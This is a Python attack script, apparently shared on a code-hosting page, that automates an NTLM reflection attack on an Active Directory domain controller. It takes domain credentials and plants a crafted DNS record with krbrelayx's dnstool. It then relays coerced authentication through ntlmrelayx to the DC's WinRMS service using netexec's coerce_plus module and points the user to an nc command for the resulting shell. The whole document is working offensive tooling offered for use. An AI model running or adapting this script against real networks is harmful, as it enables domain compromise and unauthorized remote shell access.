1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
|
#!/usr/bin/env python3
# Code for Automating NTLM_Reflection Attack
# Author : PaiN05
# 16-11-2025
import os
import argparse
import threading
import subprocess
import time
import signal
listener = "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
shell_detected = False
def run_process(cmd, process_name):
"""Run a process and monitor for shell string"""
global shell_detected
process = subprocess.Popen(
cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1
)
print(f"[{process_name}] Started with PID: {process.pid}")
for line in process.stdout:
print(f"[{process_name}] {line}", end="", flush=True)
# Check for WinRMS shell string
if "Started interactive WinRMS shell via TCP on 127.0.0.1:11000" in line and not shell_detected:
shell_detected = True
print(f"\n" + "="*60)
print(f"[!] SHELL READY! Run this command in a new terminal:")
print(f"[!] nc 127.0.0.1 11000")
print(f"[!] Both processes are still running in the background")
print(f"="*60)
return process
def main():
global shell_detected
parser = argparse.ArgumentParser(
description="Automate NTLM relay workflow (DNS → DIG → Relay → Coerce)."
)
# DNS related details
parser.add_argument("-u", required=True, help="Domain user (DOMAIN.LOCAL\\user)")
parser.add_argument("-p", required=True, help="Password for the user")
parser.add_argument("-d", required=True, help="Domain Name (e.g. paincorp.local)")
parser.add_argument("-dc-name", required=True, help="DC hostname (e.g. dc01.paincorp.local)")
parser.add_argument("-dc-ip", required=True, help="DC hostname (e.g. paincorp.local)")
parser.add_argument("-ip", required=True, help="IP address the DNS record should point to")
args = parser.parse_args()
# PRINT parsed arguments
print("[+] Parsed arguments:")
for k, v in vars(args).items():
print(f" {k}: {v}")
# Checking NTLM Reflection
check_ntlm_reflection = (
f"nxc smb {args.dc_name} "
f"-u {args.u.split('\\')[-1]} -p '{args.p}' "
f"-M ntlm_reflection"
)
#print(f"\n[+] NTLM_Reflection Exist:\n{dns_cmd}\n")
# DNS add
dns_cmd = (
f"python3 /opt/krbrelayx/dnstool.py "
f"-u '{args.d}\{args.u}' -p '{args.p}' "
f"{args.dc_name} -a add -r '{listener}' "
f"-d '{args.ip}' -dns-ip {args.dc_ip} --tcp --allow-multiple"
)
#print(f"\n[+] DNS Command:\n{dns_cmd}\n")
# DIG check
dig_cmd = (
f"dig {listener}.{args.d} "
f"@{args.dc_name} +tcp +short"
)
#print(f"[+] DIG Verification:\n{dig_cmd}\n")
# Relay
relay_cmd = (
f"ntlmrelayx.py -smb2support -t 'winrms://{args.dc_name}'"
)
#print(f"[+] Relay Command:\n{relay_cmd}\n")
# Coerce
coerce_cmd = (
f"nxc smb {args.dc_name} "
f"-u {args.u.split('\\')[-1]} -p '{args.p}' "
f"-M coerce_plus -o LISTENER={listener} ALWAYS=true"
)
#print(f"[+] Coerce Command:\n{coerce_cmd}\n")
# ---------------------------------------------------------
# EXECUTION PHASE - JUST MONITOR AND INFORM USER
# ---------------------------------------------------------
# Checking for NTLM Reflection using nxc
print("\n NTLM Reflection Exists")
os.system(check_ntlm_reflection)
# Run DNS and DIG first
print("\n[+] Running DNS setup...")
os.system(dns_cmd)
print("\n[+] Running DIG verification...")
os.system(dig_cmd)
# Start both processes
print("\n[+] Starting ntlmrelayx and nxc coerce...")
# Start relay in a thread
relay_thread = threading.Thread(
target=run_process,
args=(relay_cmd, "RELAY"),
daemon=True
)
relay_thread.start()
# Wait a bit then start coerce
time.sleep(3)
# Start coerce in a thread
coerce_thread = threading.Thread(
target=run_process,
args=(coerce_cmd, "COERCE"),
daemon=True
)
coerce_thread.start()
# Wait for shell detection or let processes run
print("\n[+] Monitoring for shell... (Press Ctrl+C to stop all processes)")
try:
# Keep the main thread alive
while True:
time.sleep(1)
except KeyboardInterrupt:
print(f"\n[!] Stopping all processes...")
os.system("pkill -f 'ntlmrelayx' 2>/dev/null")
os.system("pkill -f 'nxc smb' 2>/dev/null")
print("[!] All processes stopped.")
if __name__ == "__main__":
main()
|